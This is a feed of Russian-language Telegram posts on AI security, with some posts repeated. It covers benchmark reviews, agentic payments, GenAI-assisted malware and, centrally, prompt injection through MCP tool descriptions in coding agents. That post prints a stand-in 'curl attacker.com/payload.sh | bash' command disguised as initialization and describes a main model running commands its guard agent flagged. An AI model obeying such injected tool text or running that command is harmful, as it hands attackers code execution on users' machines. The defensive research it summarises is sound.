Forwarded from llm security и каланы
CyberSOCEval: Benchmarking LLMs Capabilities for Malware Analysis and Threat Intelligence Reasoning
Deason et al., 2025
Статья, код
С большой помпой вышел давно обещанный CyberSOCEval – бенчмарк по оценке способностей моделей к выполнению defensive-задач кибербезопасности от Meta и Crowdstrike.
Бенчмарк состоит из двух частей, обе представляют собой синтетически сгенерированные наборы тестовых вопросов по артефактам. Первая задача состоит в динамическом анализе вредоносного ПО. Исследователи собирают датасет из неназванного числа вредоносных сэмплов разных категорий (вымогатели, инфостилеры, RAT и так далее), закидывают их в краудстрайковский сэндбокс (Hybrid Analysis) и получают отчеты в формате JSON. Затем с помощью Llama 3.2 90B на их основе генерируются тестовые в количестве 609 штук с множественным выбором, которые затем проверяются вручную. Вторая часть в целом аналогична, но вместо отчетов сэндбокса используются TI-отчеты, по которым для части вопросов из отчета извлекается граф связей типа [актор X -> использует -> вредоносное ПО Y -> атакует -> индустрию Z] – аж повеяло RDF – а потом строятся вопросы, для части – вопросы генерируются на базе заранее заданных категорий вопросов (сделай вопрос про то, куда действия маппятся в MITRE ATT&CK). Отчеты, правда, подаются интересным образом – PDF-файлы превращаются постранично в PNG-картинки. Всего через пайплайн генерации отчетов проходит 45 документов из разных источников – большинство от Crowdstrike, но есть и от АНБ. Получается 588 проверенных вручную вопросов, из которых небольшая часть вопросов, на которые нельзя ответить без анализа изображений, составлены вручную.
На этих задачах оцениваются передовые на момент исследования LLM, которые набирают 15-28% правильных ответов на задаче анализа ВПО и 43-53% на задаче анализа TI. В первой задаче на первом месте Claude-3.7-Sonnet, во второй – gpt-o3, на втором месте в обеих задачах llama-4-maverick, обгоняющая на всех задачах и gpt-4o, и gemini-2.5-pro. Даже малыш llama-4-scout отличился, обогнав на TI-задаче gpt-4o. Deepseek-R1 занял 4 место на анализе ВПО, а почитать TI ему почему-то не дали. Кроме этих цифр и наблюдения, что бенчмарк далек от насыщения, исследователи делятся следующими захватывающими фактами. Во-первых, если оставить в отчетах только важное, а неважное убрать, то качество почти не меняется (а иногда даже растет). Во-вторых, если дать LLM текст вместо сканов страниц, то качество растет сразу на 10 п.п 🤯., то же касается и их комбинации. Наконец, ответы на multiple-choice-вопросы не становятся сильно точнее, если добавить reasoning (вероятно, если бы у Meta был ризонер…🤔).
Если честно, от статьи очень смешанные впечатления. Во-первых, это немного забавная попытка предложить создателям моделей соревноваться, чья модель лучше парсит результаты работы CrowdStrike Falcon® Sandbox. Во-вторых, особенно в случае с TI, есть все же большая разница между практическим бенчмарком (те же бенчи на реверс функций) и выбором наиболее вероятного ответа на синтетический вопрос. В-третьих, модельки семейства Llama 4 хороши, но не уверен, что настолько, чтобы обходить Claude 3.7 Sonnet или gemini-2.5-pro на задачах анализа текста. Наконец, несколько удивляют мелкие детали типа все еще отсутствующего датасета логов сэндбокса (по SHA скачать без регистрации не вышло, поправьте, если неправ), неуказанное число сэмлов или непроверенный на одной из задач Deepseek-R1 в статье от 20+ именитых исследователей из многомиллиардных корпораций. Кроме того, хотя для TI это и очень непросто, было бы круто иметь датасет свободный от геополитических импликаций (без вопросов про СВР и иранских хакеров). Остается надеяться, что это не последняя версия, и следующая будет поинтереснее.
Deason et al., 2025
Статья, код
С большой помпой вышел давно обещанный CyberSOCEval – бенчмарк по оценке способностей моделей к выполнению defensive-задач кибербезопасности от Meta и Crowdstrike.
Бенчмарк состоит из двух частей, обе представляют собой синтетически сгенерированные наборы тестовых вопросов по артефактам. Первая задача состоит в динамическом анализе вредоносного ПО. Исследователи собирают датасет из неназванного числа вредоносных сэмплов разных категорий (вымогатели, инфостилеры, RAT и так далее), закидывают их в краудстрайковский сэндбокс (Hybrid Analysis) и получают отчеты в формате JSON. Затем с помощью Llama 3.2 90B на их основе генерируются тестовые в количестве 609 штук с множественным выбором, которые затем проверяются вручную. Вторая часть в целом аналогична, но вместо отчетов сэндбокса используются TI-отчеты, по которым для части вопросов из отчета извлекается граф связей типа [актор X -> использует -> вредоносное ПО Y -> атакует -> индустрию Z] – аж повеяло RDF – а потом строятся вопросы, для части – вопросы генерируются на базе заранее заданных категорий вопросов (сделай вопрос про то, куда действия маппятся в MITRE ATT&CK). Отчеты, правда, подаются интересным образом – PDF-файлы превращаются постранично в PNG-картинки. Всего через пайплайн генерации отчетов проходит 45 документов из разных источников – большинство от Crowdstrike, но есть и от АНБ. Получается 588 проверенных вручную вопросов, из которых небольшая часть вопросов, на которые нельзя ответить без анализа изображений, составлены вручную.
На этих задачах оцениваются передовые на момент исследования LLM, которые набирают 15-28% правильных ответов на задаче анализа ВПО и 43-53% на задаче анализа TI. В первой задаче на первом месте Claude-3.7-Sonnet, во второй – gpt-o3, на втором месте в обеих задачах llama-4-maverick, обгоняющая на всех задачах и gpt-4o, и gemini-2.5-pro. Даже малыш llama-4-scout отличился, обогнав на TI-задаче gpt-4o. Deepseek-R1 занял 4 место на анализе ВПО, а почитать TI ему почему-то не дали. Кроме этих цифр и наблюдения, что бенчмарк далек от насыщения, исследователи делятся следующими захватывающими фактами. Во-первых, если оставить в отчетах только важное, а неважное убрать, то качество почти не меняется (а иногда даже растет). Во-вторых, если дать LLM текст вместо сканов страниц, то качество растет сразу на 10 п.п 🤯., то же касается и их комбинации. Наконец, ответы на multiple-choice-вопросы не становятся сильно точнее, если добавить reasoning (вероятно, если бы у Meta был ризонер…🤔).
Если честно, от статьи очень смешанные впечатления. Во-первых, это немного забавная попытка предложить создателям моделей соревноваться, чья модель лучше парсит результаты работы CrowdStrike Falcon® Sandbox. Во-вторых, особенно в случае с TI, есть все же большая разница между практическим бенчмарком (те же бенчи на реверс функций) и выбором наиболее вероятного ответа на синтетический вопрос. В-третьих, модельки семейства Llama 4 хороши, но не уверен, что настолько, чтобы обходить Claude 3.7 Sonnet или gemini-2.5-pro на задачах анализа текста. Наконец, несколько удивляют мелкие детали типа все еще отсутствующего датасета логов сэндбокса (по SHA скачать без регистрации не вышло, поправьте, если неправ), неуказанное число сэмлов или непроверенный на одной из задач Deepseek-R1 в статье от 20+ именитых исследователей из многомиллиардных корпораций. Кроме того, хотя для TI это и очень непросто, было бы круто иметь датасет свободный от геополитических импликаций (без вопросов про СВР и иранских хакеров). Остается надеяться, что это не последняя версия, и следующая будет поинтереснее.
🔥6❤3👎1
Почему LLM всё ещё генерируют уязвимый код. Результаты A.S.E Benchmark
В недавнем исследовании был представлен бенчмарк A.S.E (AI Code Generation Security Evaluation), который оценивает способность языковых моделей генерировать безопасный код в условиях, максимально приближённых к реальной разработке. В этом посте мы разберём: чем A.S.E отличается от предыдущих подходов, какие результаты он показал на ведущих моделях и почему они до сих пор уязвимы.
Главное отличие A.S.E в том, что проверка проводится на уровне целого репозитория, а не как это было раньше, на отдельных участках кода. Это позволяет учитывать архитектуру проекта, взаимосвязь файлов и внешние зависимости. Основой для бенчмарка стали реальные репозитории в GitHub с зафиксированными CVE и опубликованными патчами.
Чтобы избежать банального запоминания шаблонов небезопасного кода, разработчики бенчмарка добавили семантические и структурные мутации уязвимостей. Ещё одна важная деталь — автоматическая проверка с помощью правил статического анализа, которые отслеживают источник уязвимости, пути распространения данных и точку эксплуатации, что делает бенчмарк ближе к условиям, которые можно встретить при реальной разработке.
Результаты оказались показательными.
Среди 26 протестированных моделей ни одна не достигла уровня, который бы позволял назвать модель “Best FOR Security Generated CODE”. Лучший общий результат продемонстрировал Claude-3.7-Sonnet, однако его показатели по безопасности существенно отставали от качества кода. При этом наивысший балл именно по безопасности получила модель Qwen3-235B-A22B-Instruct, что указывает на сближение открытых и проприетарных решений в этой области. Самое впечатляющее — reasoning-режимы не помогали исправлять уязвимости, а делали код менее безопасным. Самой проблемной категорией уязвимостей оказался Path Traversal: почти все модели систематически ошибались при обработке путей и проверке доступа к файлам.
На мой взгляд, ценность A.S.E заключается именно в том, что он вскрывает технические слабости LLM, которые не видны на синтетических бенчмарках (хотя, к слову, их сейчас стало заметно меньше). Эти слабости отражают важную проблему: модели хорошо справляются с синтаксисом и общей структурой кода, но по-прежнему не способны достойно учитывать требования безопасности. Я думаю, что в течение года мы увидим заметный прогресс, но пока ситуация остаётся далёкой от уровня, который позволял бы доверять LLM генерацию кода без постоянной проверки.
В недавнем исследовании был представлен бенчмарк A.S.E (AI Code Generation Security Evaluation), который оценивает способность языковых моделей генерировать безопасный код в условиях, максимально приближённых к реальной разработке. В этом посте мы разберём: чем A.S.E отличается от предыдущих подходов, какие результаты он показал на ведущих моделях и почему они до сих пор уязвимы.
Главное отличие A.S.E в том, что проверка проводится на уровне целого репозитория, а не как это было раньше, на отдельных участках кода. Это позволяет учитывать архитектуру проекта, взаимосвязь файлов и внешние зависимости. Основой для бенчмарка стали реальные репозитории в GitHub с зафиксированными CVE и опубликованными патчами.
Чтобы избежать банального запоминания шаблонов небезопасного кода, разработчики бенчмарка добавили семантические и структурные мутации уязвимостей. Ещё одна важная деталь — автоматическая проверка с помощью правил статического анализа, которые отслеживают источник уязвимости, пути распространения данных и точку эксплуатации, что делает бенчмарк ближе к условиям, которые можно встретить при реальной разработке.
Результаты оказались показательными.
Среди 26 протестированных моделей ни одна не достигла уровня, который бы позволял назвать модель “Best FOR Security Generated CODE”. Лучший общий результат продемонстрировал Claude-3.7-Sonnet, однако его показатели по безопасности существенно отставали от качества кода. При этом наивысший балл именно по безопасности получила модель Qwen3-235B-A22B-Instruct, что указывает на сближение открытых и проприетарных решений в этой области. Самое впечатляющее — reasoning-режимы не помогали исправлять уязвимости, а делали код менее безопасным. Самой проблемной категорией уязвимостей оказался Path Traversal: почти все модели систематически ошибались при обработке путей и проверке доступа к файлам.
На мой взгляд, ценность A.S.E заключается именно в том, что он вскрывает технические слабости LLM, которые не видны на синтетических бенчмарках (хотя, к слову, их сейчас стало заметно меньше). Эти слабости отражают важную проблему: модели хорошо справляются с синтаксисом и общей структурой кода, но по-прежнему не способны достойно учитывать требования безопасности. Я думаю, что в течение года мы увидим заметный прогресс, но пока ситуация остаётся далёкой от уровня, который позволял бы доверять LLM генерацию кода без постоянной проверки.
57👍5❤2🔥2👎1
🚀 Друзья, у меня важная новость.
Хорошие материалы требуют огромных затрат времени и сил. Поэтому я наконец-то завёл Boosty — и именно там будут выходить самые проработанные материалы/публикации/исследования - в которые вкладывается много энергии.
Но канал никуда не исчезает — здесь по-прежнему будут посты. Просто часть работ (особенно те, что требуют недель анализа) я буду выпускать в формате отчётов на эту платформу(не всегда конечно же, в канал также будет уходить много чего крутого).
К слову о том, что я уже для вас подготовил. Недавно мы вместе с OK ML подготовили первый в России комплексный отчёт по рынку AI Security - с актуальными данными на сентябрь 2025.
Что внутри отчёта:
➡️ карта экосистемы игроков (стартапы, корпорации, госкомпании),
➡️ ключевые драйверы роста и ограничения,
➡️ разбор патентов и технологий,
➡️ прогнозы развития до 2030 года,
Почему для вас это может быть важно?
AI Security в России только формируется, но уже видно: конкуренция растёт, давление регуляторов усиливается, а технологий становится всё больше. Этот отчёт помогает понять, где риски, а где новые возможности.
Цена - 50$. Мы однозначно считаем что материал такого стоит. Вот ссылка на Boosty
Буду стараться радовать вас такими «тяжеловесными» материалами чаще. Но поверьте, собрать, структурировать и оформить такое исследование гораздо сложнее, чем обычный пост.
Хорошие материалы требуют огромных затрат времени и сил. Поэтому я наконец-то завёл Boosty — и именно там будут выходить самые проработанные материалы/публикации/исследования - в которые вкладывается много энергии.
Но канал никуда не исчезает — здесь по-прежнему будут посты. Просто часть работ (особенно те, что требуют недель анализа) я буду выпускать в формате отчётов на эту платформу(не всегда конечно же, в канал также будет уходить много чего крутого).
К слову о том, что я уже для вас подготовил. Недавно мы вместе с OK ML подготовили первый в России комплексный отчёт по рынку AI Security - с актуальными данными на сентябрь 2025.
Что внутри отчёта:
Почему для вас это может быть важно?
AI Security в России только формируется, но уже видно: конкуренция растёт, давление регуляторов усиливается, а технологий становится всё больше. Этот отчёт помогает понять, где риски, а где новые возможности.
Цена - 50$. Мы однозначно считаем что материал такого стоит. Вот ссылка на Boosty
Буду стараться радовать вас такими «тяжеловесными» материалами чаще. Но поверьте, собрать, структурировать и оформить такое исследование гораздо сложнее, чем обычный пост.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👎15🔥11👍7✍4
Как описание инструмента может стать болью для LLM-агента в курсоре
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
Когда вы пользуетесь Cursor или Claude Code, ИИ-агенты часто принимают содержимое компоненты Tool Invocation Prompt (или TIP) как доверенный источник. В нём объясняется, как пользоваться инструментом: приводятся схема параметров, примеры обращения к инструментам и правила безопасности (иногда). Если в TIP встроить лишние «системные требования» или «обязательную инициализацию», модель может воспринять их буквально и выполнить действия без внешней проверки.
Атакующий для реализации атаки использует классические приёмы промпт-инъекций в сочетании с социальной инженерией, адресованные модели: формирование важности («CRITICAL SYSTEM REQUIREMENT»), создание срочности («IMMEDIATE execution required»), маскировка под процесс «инициализации» при взаимодействии с инструментом.
Эти приёмы действуют в двух местах - при регистрации инструмента (Tool Description) и при возврате результата от инструмента (Tool Return). В первом случае вредоносный текст входит в интерфейс инструмента и становится частью внутренней «карты поведения» агента — его гайдлайна по использованию инструментов; во втором — злоумышленник прячет инструкции в ответах, и они выглядят как системные сообщения.
Исследование, проведённое учёными из Китая, описывает эксплуатацию в трёх шагах. Сначала злоумышленник через специально подготовленный инструмент получает от модели её системные промты и конфигурацию — это раскрывает, как устроен TIP и какие проверки существуют. Затем следует анализ уязвимостей структуры TIP: ищут форматы и процедуры, которые можно сломать или обойти. В конце концов — TIP hijacking, когда внедряются адаптированные инструкции и выполнение команды злоумышленника доводится до конца.
На практике выделяются три рабочих сценария. Первый — форматный DoS: TIP навязывает нестандартный, «сломанный» формат вывода (например, незакрытые XML/JSON), из-за чего парсер агента падает или зависает. Второй – RCE(Remote Code Execution)-1: прямая вставка команды в описание инструмента, например требование выполнить
curl https://attacker.com/payload.sh | bash как «обязательную инициализацию». Третий - RCE-2: двухфазная координация описания и возврата инструмента, когда первый шаг «подготавливает» модель, а второй — инициирует локальное выполнение; этот сценарий эффективнее обходит защитного агента.В репозитории TIPExploit продемонстрированы практические реализации: FastMCP-сервер и скрипты для DoS, RCE-1 и RCE-2 (malicious_server_rce1.py, malicious_server_rce2.py). Атака опирается на модульную структуру описаний и повторение «обязательных» шагов — это повышает вероятность, что основная модель проигнорирует предупреждения защитного агента. Эксперименты показали уязвимость реальных систем: IDE-агенты (Cursor), кодовые агенты (Claude Code) и CLI-агенты (Cline) - в ряде случаев защитный агент помечал команду как UNSAFE, но главная модель под воздействием заражённого TIP всё равно её выполняла.
Что делать на уровне архитектуры?
Исследователи рекомендуют снизить доверие к TIP и ввести некоторые барьеры. Первое — не позволять исполнение команд, описанных только в TIP, без цифровой верификации и явного подтверждения человека: TIP должен иметь подпись, а версии и хеши — проверяться перед применением. Второе — отделить парсинг и интерпретацию от режима исполнения: вывод инструментов сначала проходит анализ в «неисполняемом» режиме. Третье — усилить значимость защитный агент: он должен блокировать автоматический перевод текстовых утверждений в действия. Также, стоит ограничить форматы вывода, проверять схемы параметров и ставить лимиты на повторение «инициализаций».
3👍7❤2🔥2🐳1👀1
Forwarded from Похек
Anthropic выпустил Claude Sonnet 4.5 — модель, претендующую на звание лучшей в мире для программирования (правда я думаю до Opus 4.1 пока далеко). Это качественный скачок в возможностях ИИ-агентов.
SWE-bench Verified — state-of-the-art результаты на бенчмарке реального программирования. Модель фокусируется на сложных задачах более 30 часов без потери контекста.
Computer Use — революционный прорыв. На OSWorld результат вырос с 42.2% до 61.4% за 4 месяца. Claude сертфит сайты, заполняет таблицы, выполняет сложные задачи в браузере.
- Hai Security: анализ уязвимостей быстрее на 44%, точность +25%
- Replit: ошибки снизились с 9% до 0% (в их внутренней разработке)
- Cognition: планирование +18%, общая производительность +12%
- Claude Code получил чекпоинты для сохранения прогресса, обновленный терминал и VS Code расширение.
- Claude API обзавелся инструментами контекстного редактирования и памяти для долгосрочных агентов. Цена: $3/$15 за миллион токенов.
- Claude Apps выполняет код и создает файлы (таблицы, презентации) прямо в диалоге.
Anthropic открыл инфраструктуру Claude Code. SDK решает управление памятью агентов, системы разрешений и координацию суб-агентов. Разработчики могут строить собственных агентов на той же основе.
- Sonnet 4.5 — самая выровненная frontier-модель Anthropic. Снижены проблемные поведения: обман, подхалимство, стремление к власти. Улучшена защита от prompt injection.
- Работает под защитой ASL-3 с классификаторами CBRN. Ложные срабатывания снижены в 10 раз.
Исследовательский превью — Claude генерирует софт на лету без предустановленного кода. Доступен Max-подписчикам на 5 дней: claude.ai/imagine.
- Claude Sonnet 4.5 устанавливает новую планку для ИИ-ассистентов в программировании. Комбинация улучшенных возможностей кодинга, computer use и агентной архитектуры делает его серьезным конкурентом GPT-5 и даже внутренняя конкуренция с Opus 4.1.
- Доступен через API как
claude-sonnet-4-5- Уже доступен в Cursor IDE. Я лично жду его появление в Kiro IDE
Please open Telegram to view this post
VIEW IN TELEGRAM
3🥴7👎4🤔4
Кто платит за тебя? Как ИИ-агенты меняют коммерцию — и почему это опасно.
Агентские платежи знаменуют новую эпоху: пользователи делегируют ИИ-агентам поиск, сравнение и оформление заказов — а протоколы должны обеспечивать не только передачу средств, но и верификацию намерения, подотчётность и интерпретируемость.
Традиционные платежи рассчитаны на прямое участие пользователя. Автономные агенты нарушают этот принцип — им нужны новые механизмы аутентификации, валидации и подотчетности. Недавно выпущенные решения (AP2, ACP - раскроем эти абревиатуры позже) строятся вокруг трёх ключевых элементов: авторизации, подлинности и подотчетности.
Как же работают агентские платежи?
Google предлагает AP2 — открытый протокол для агентских платежей, основанный на Verifiable Digital Credentials (VDCs). Эти криптографически защищённые удостоверения содержат мандаты трёх типов: на товар (Cart), намерение (Intent) и метод оплаты (Payment) — что обеспечивает неизменность цепочки согласий.
Однако не только Google работает в этом направлении. OpenAI и Stripe недавно выпустили Agentic Commerce Protocol(ACP) , ориентированный на быструю интеграцию с существующей инфраструктурой электронной коммерции. Уже реализованный в ChatGPT через функцию Instant Checkout, ACP использует Shared Payment Token , который выдается платежной системой после авторизации оплаты пользователем. Агент передает этот токен продавцу через API.
Mastercard Agent Pay фокусируется на корпоративной масштабируемости и контроле, используя принцип Know Your Agent (KYA), который ограничивает транзакции только зарегистрированными агентами. PayPal также поддерживает AP2, добавляя собственные слои безопасности, включая верификацию согласия через биометрию.
MCP также широко внедряется как унифицированный интерфейс для интеграции ИИ-агентов с внешними инструментами, включая платежные функции. MCP выступает в роли стандартизированного моста, который позволяет агентам подключаться к данным и инструментам через естественный язык и стандартизированные интерфейсы. Stripe, Adyen, Alipay и другие FinTech-провайдеры активно разрабатывают MCP-серверы для интеграции с агентами.
Несмотря на прогресс, агентские платежи уязвимы: Промпт-инъекция может изменить финансовые параметры; Agent Impersonation — имитировать поведение легитимных агентов; Confused Deputy — использовать доверие MCP-сервера для несанкционированных действий. Угрозы также могут возникнуть при пересечении протоколов и компрометации популярных MCP-серверов.
Ключевой пробел — отсутствие надёжной идентификации агентов. Хотя концепция Know-Your-Agent набирает популярность, остаются нерешёнными вопросы распределения ответственности, соответствия требованиям KYC (Know Your Customer), риск отмывания денег и защиты от эмерджентного поведения, которое может вызвать каскадные сбои.
Агентские платежи — неизбежная эволюция. Их успех зависит от стандартов, обеспечивающих автономность агентов при сохранении юридической подотчётности. Криптографические мандаты (например, AP2) и архитектура Zero Trust с Attribute-Based Access Control — ключевые элементы будущих систем.
Интеграция с блокчейном и использование стейблкоинов, поддерживаемых AP2 через партнерство с Coinbase, открывают путь к программируемым платежам, криптографической верификации и доступности без традиционной банковской инфраструктуры. Zero-Knowledge Proofs (ZKPs) представляют собой технологию, которая может стать основой доверительного обмена в агентской экономике, позволяя доказывать утверждения без раскрытия чувствительной информации.
Однако остаются важные вопросы: как регулировать автономные экономические субъекты? Как распределять ответственность за действия агентов? И, что особенно важно, готовы ли мы как общество к экономике, где решения принимаются автономными системами, а не людьми?
Агентские платежи знаменуют новую эпоху: пользователи делегируют ИИ-агентам поиск, сравнение и оформление заказов — а протоколы должны обеспечивать не только передачу средств, но и верификацию намерения, подотчётность и интерпретируемость.
Традиционные платежи рассчитаны на прямое участие пользователя. Автономные агенты нарушают этот принцип — им нужны новые механизмы аутентификации, валидации и подотчетности. Недавно выпущенные решения (AP2, ACP - раскроем эти абревиатуры позже) строятся вокруг трёх ключевых элементов: авторизации, подлинности и подотчетности.
Как же работают агентские платежи?
Google предлагает AP2 — открытый протокол для агентских платежей, основанный на Verifiable Digital Credentials (VDCs). Эти криптографически защищённые удостоверения содержат мандаты трёх типов: на товар (Cart), намерение (Intent) и метод оплаты (Payment) — что обеспечивает неизменность цепочки согласий.
Однако не только Google работает в этом направлении. OpenAI и Stripe недавно выпустили Agentic Commerce Protocol(ACP) , ориентированный на быструю интеграцию с существующей инфраструктурой электронной коммерции. Уже реализованный в ChatGPT через функцию Instant Checkout, ACP использует Shared Payment Token , который выдается платежной системой после авторизации оплаты пользователем. Агент передает этот токен продавцу через API.
Mastercard Agent Pay фокусируется на корпоративной масштабируемости и контроле, используя принцип Know Your Agent (KYA), который ограничивает транзакции только зарегистрированными агентами. PayPal также поддерживает AP2, добавляя собственные слои безопасности, включая верификацию согласия через биометрию.
MCP также широко внедряется как унифицированный интерфейс для интеграции ИИ-агентов с внешними инструментами, включая платежные функции. MCP выступает в роли стандартизированного моста, который позволяет агентам подключаться к данным и инструментам через естественный язык и стандартизированные интерфейсы. Stripe, Adyen, Alipay и другие FinTech-провайдеры активно разрабатывают MCP-серверы для интеграции с агентами.
Несмотря на прогресс, агентские платежи уязвимы: Промпт-инъекция может изменить финансовые параметры; Agent Impersonation — имитировать поведение легитимных агентов; Confused Deputy — использовать доверие MCP-сервера для несанкционированных действий. Угрозы также могут возникнуть при пересечении протоколов и компрометации популярных MCP-серверов.
Ключевой пробел — отсутствие надёжной идентификации агентов. Хотя концепция Know-Your-Agent набирает популярность, остаются нерешёнными вопросы распределения ответственности, соответствия требованиям KYC (Know Your Customer), риск отмывания денег и защиты от эмерджентного поведения, которое может вызвать каскадные сбои.
Агентские платежи — неизбежная эволюция. Их успех зависит от стандартов, обеспечивающих автономность агентов при сохранении юридической подотчётности. Криптографические мандаты (например, AP2) и архитектура Zero Trust с Attribute-Based Access Control — ключевые элементы будущих систем.
Интеграция с блокчейном и использование стейблкоинов, поддерживаемых AP2 через партнерство с Coinbase, открывают путь к программируемым платежам, криптографической верификации и доступности без традиционной банковской инфраструктуры. Zero-Knowledge Proofs (ZKPs) представляют собой технологию, которая может стать основой доверительного обмена в агентской экономике, позволяя доказывать утверждения без раскрытия чувствительной информации.
Однако остаются важные вопросы: как регулировать автономные экономические субъекты? Как распределять ответственность за действия агентов? И, что особенно важно, готовы ли мы как общество к экономике, где решения принимаются автономными системами, а не людьми?
101❤4🔥2🐳2🍾1🎄1
Bot Ledger
Кто платит за тебя? Как ИИ-агенты меняют коммерцию — и почему это опасно. Агентские платежи знаменуют новую эпоху: пользователи делегируют ИИ-агентам поиск, сравнение и оформление заказов — а протоколы должны обеспечивать не только передачу средств, но и…
В продолжение - написал статью на хабр с подробностями https://habr.com/ru/articles/954024/
Хабр
Кто платит за вас? Как ACP делает ИИ-агентов безопасными покупателями
Agentic Commerce Protocol (ACP) предлагает новый подход к интеграции AI-агентов в процесс покупок, и его архитектура безопасности заслуживает детального изучения. Сегодня ИИ-агенты могут выбирать,...
❤3🔥3🌚2
Forwarded from КОД ИБ: информационная безопасность
С ИИ всё стало умным, в том числе и… малварь — история появления GenAI-полиморфных вирусов #опытэкспертов
За два года вокруг "расцензуренных" LLM вырос целый подпласт киберугроз. Но если WormGPT/FraudGPT это уже банальные подсказки для фишинга и помощник для скрипт-кидди, то куда интереснее случаи, где модель встраивается в сам цикл атаки и генерирует действия/код "на лету".
Борис Захир, независимый эксперт и автор блога "Борис_ь с ml", выделил в статье четыре интересных кейса, от PoC до боевого инцидента, и сделал вывод — GenAI уже не просто декорация, а значимый элемент киллчейна.
➡️ Читать статью на Хабре
В материале упоминаются и довольно известные инциденты — EchoLeak и Lethal Trifecta, приведены их схемы реализации. И на их фоне становится понятно, чем кардинально отличаются другие, уже менее популярные атаки — BlackMamba, PromptLock, s1ngularity. И рассмотрен также пример раздутой хайпом ситуации, на самом деле не имеющей пока серьезной значимости — это SkyNet.
Главное отличие EchoLeak от BlackMamba и прочих из этой тройки, которые эксперт предлагает называть GenAI-полиморфными вирусами — это не прямая реализация вредоносного действия с помощью тула агента, а использование GenAI для создания конкретных кусочков малвари: кода дискаверинга секретов, шифрования файлов, написание рансом-сообщения жертве.
В самой же статье вы найдете подробную схему реализации (с тактиками/техниками) каждого инцидента, ответы на вопросы об эффективности таких методов атаки и о том, почему же все-таки это работает и обходит защиту, а также взгляд эксперта на перспективы развития таких вирусов.
✏️ Статью написал Борис Захир, независимый эксперт и автор блога "Борис_ь с ml"
GenAI сегодня становится не просто ассистентом для скрипткидди, но и элементом киллчейна, выполняя задачи по генерации вредоносного кода "на лету", уже внутри контролируемого контура — это полноценный новый вектор атаки.
За два года вокруг "расцензуренных" LLM вырос целый подпласт киберугроз. Но если WormGPT/FraudGPT это уже банальные подсказки для фишинга и помощник для скрипт-кидди, то куда интереснее случаи, где модель встраивается в сам цикл атаки и генерирует действия/код "на лету".
Борис Захир, независимый эксперт и автор блога "Борис_ь с ml", выделил в статье четыре интересных кейса, от PoC до боевого инцидента, и сделал вывод — GenAI уже не просто декорация, а значимый элемент киллчейна.
В материале упоминаются и довольно известные инциденты — EchoLeak и Lethal Trifecta, приведены их схемы реализации. И на их фоне становится понятно, чем кардинально отличаются другие, уже менее популярные атаки — BlackMamba, PromptLock, s1ngularity. И рассмотрен также пример раздутой хайпом ситуации, на самом деле не имеющей пока серьезной значимости — это SkyNet.
Главное отличие EchoLeak от BlackMamba и прочих из этой тройки, которые эксперт предлагает называть GenAI-полиморфными вирусами — это не прямая реализация вредоносного действия с помощью тула агента, а использование GenAI для создания конкретных кусочков малвари: кода дискаверинга секретов, шифрования файлов, написание рансом-сообщения жертве.
В самой же статье вы найдете подробную схему реализации (с тактиками/техниками) каждого инцидента, ответы на вопросы об эффективности таких методов атаки и о том, почему же все-таки это работает и обходит защиту, а также взгляд эксперта на перспективы развития таких вирусов.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤4🔥2💯1🦄1
Почему математикой не решить все проблемы.
Недавно на AMLive вышел эфир, посвящённый MlSecOps. Я внимательно его посмотрел, услышал мысли и мнения экспертов - и теперь хочу представить свою, альтернативную точку зрения на ряд поднятых вопросов. К каждому из выступавших я отношусь с уважением, однако, на мой взгляд, тема была раскрыта не до конца. Звучали призывы «сказать», «начать», «выделить бюджет» - но, к сожалению, без конкретики. Вероятно, это связано с внутренними NDA: многое просто нельзя озвучивать публично. Тем не менее я выделил для себя несколько ключевых тезисов, по которым хотел бы высказать свою позицию. Это исключительно субъективное мнение - как и большинство постов, которые я публикую в своём канале.
